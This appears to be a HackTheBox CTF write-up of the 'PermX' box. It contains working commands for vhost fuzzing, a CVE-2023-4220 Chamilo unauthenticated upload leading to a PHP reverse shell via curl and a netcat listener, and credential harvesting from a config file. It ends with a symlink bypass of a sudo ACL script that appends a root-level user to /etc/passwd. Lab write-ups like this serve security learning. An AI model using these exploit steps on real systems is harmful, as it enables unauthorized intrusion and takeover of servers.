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PermX

htb writeup

PermX is an easy Linux CTF box, that is a part of HackTheBox season 5 machines. It requires us to bruteforce virtual hosts, perform version enumeration & exploit a known vulnerability. For the privilege escalation it requires basic Bash & Linux knowledge. Machine is created by mtzsec +respict.

Initial Access

Enumeration

Nmap Scan

At first I performed an Nmap scan sudo nmap -v -sC -sV -oN scans/nmap/init $IP. I found that ports 22 & 80 are open. The port 80 redirects us to a domain name permx.htb that we must add in /etc/hosts file.

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    Apache httpd 2.4.52
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.52 (Ubuntu)
|_http-title: Did not follow redirect to http://permx.htb
Service Info: Host: 127.0.1.1; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Virtual hosts enumeration

I right away tried to perform virtual hosts bruteforce. For that I used ffuf:

ffuf -u http://$IP -c -w subdomains-top1million-20000.txt -H 'Host: FUZZ.permx.htb' -fw 18

It ended up finding two subdomains. While I did look at the root domain & the www domain, the main initial access part happens in the lms:

The domain contains an e-learning platform Chamilo. At first I tried various password guessing attempts, but that did not work:

Version Detection

I found out that this software has a long list of CVEs. For exploitation I first wanted to find the version. I tried various files like README.md & LICENSE but that only revealed that the version was 1.11.x. Then I noticed that this platform has a documentation page and that revealed the version as 1.11.24:

Exploitation

The version 1.11.24 is vulnerable to an unauthenticated remote code execution (CVE-2023-4220). I found a nice blog post that shows the exploitation. For exploitation I used the php-reverse-shell to gain RCE:

sudo nc -lnvp 443
curl -F '[email protected]' 'http://lms.permx.htb/main/inc/lib/javascript/bigupload/inc/bigUpload.php?action=post-unsupported'
curl 'http://lms.permx.htb/main/inc/lib/javascript/bigupload/files/rce.php'

Privilege Escalation

User Access

The first thing I did was I found the database credentials:

cat /var/www/chamilo/app/config/configuration.php | grep 'db_'

While I did log into the database & exfiltrate the password hashes, I was unable to crack them. Instead it turns out that the only user mtz has reused the password and the SSH password is the same as the database password:

Root Access

The root access for this box was by far the most fun bit. It turns out that the user can execute a bash script with sudo privileges (sudo -l):

The script contains the following:

#!/bin/bash

if [ "$#" -ne 3 ]; then
    /usr/bin/echo "Usage: $0 user perm file"
    exit 1
fi

user="$1"
perm="$2"
target="$3"

if [[ "$target" != /home/mtz/* || "$target" == *..* ]]; then
    /usr/bin/echo "Access denied."
    exit 1
fi

# Check if the path is a file
if [ ! -f "$target" ]; then
    /usr/bin/echo "Target must be a file."
    exit 1
fi

/usr/bin/sudo /usr/bin/setfacl -m u:"$user":"$perm" "$target"

The script takes three arguments:

  1. $user - the user to set the ACL for;
  2. $perm - the permissions to set;
  3. $target - the file path to which the ACL will be set on;

We could set write permissions to /etc/passwd & add a new user, but the path is validated. The script checks if the path starts with /home/mtz. We could use /home/mtz/../../etc/passwd, but the script also checks if the path contains two dots. The solution is to use soft links. To exploit the vulnerability:

#!/bin/bash

# Create the soft link in home directory (passes both checks)
ln -sf /etc/passwd /home/mtz/passwd

# Run the script to allow read & write to the /etc/passwd
sudo /opt/acl.sh mtz rw /home/mtz/passwd

# Add a new user with the id of 0 (the password is: 123)
echo 'new:$1$new$p7ptkEKU1HnaHpRtzNizS1:0:0:root:/root:/bin/bash' >> /etc/passwd

# Remove the link
rm /home/mtz/passwd

# Log in ass the new user
su new

Executing the script we gain root privileges. Note that if we getfacl on /etc/passwd the user mtz has read & write access: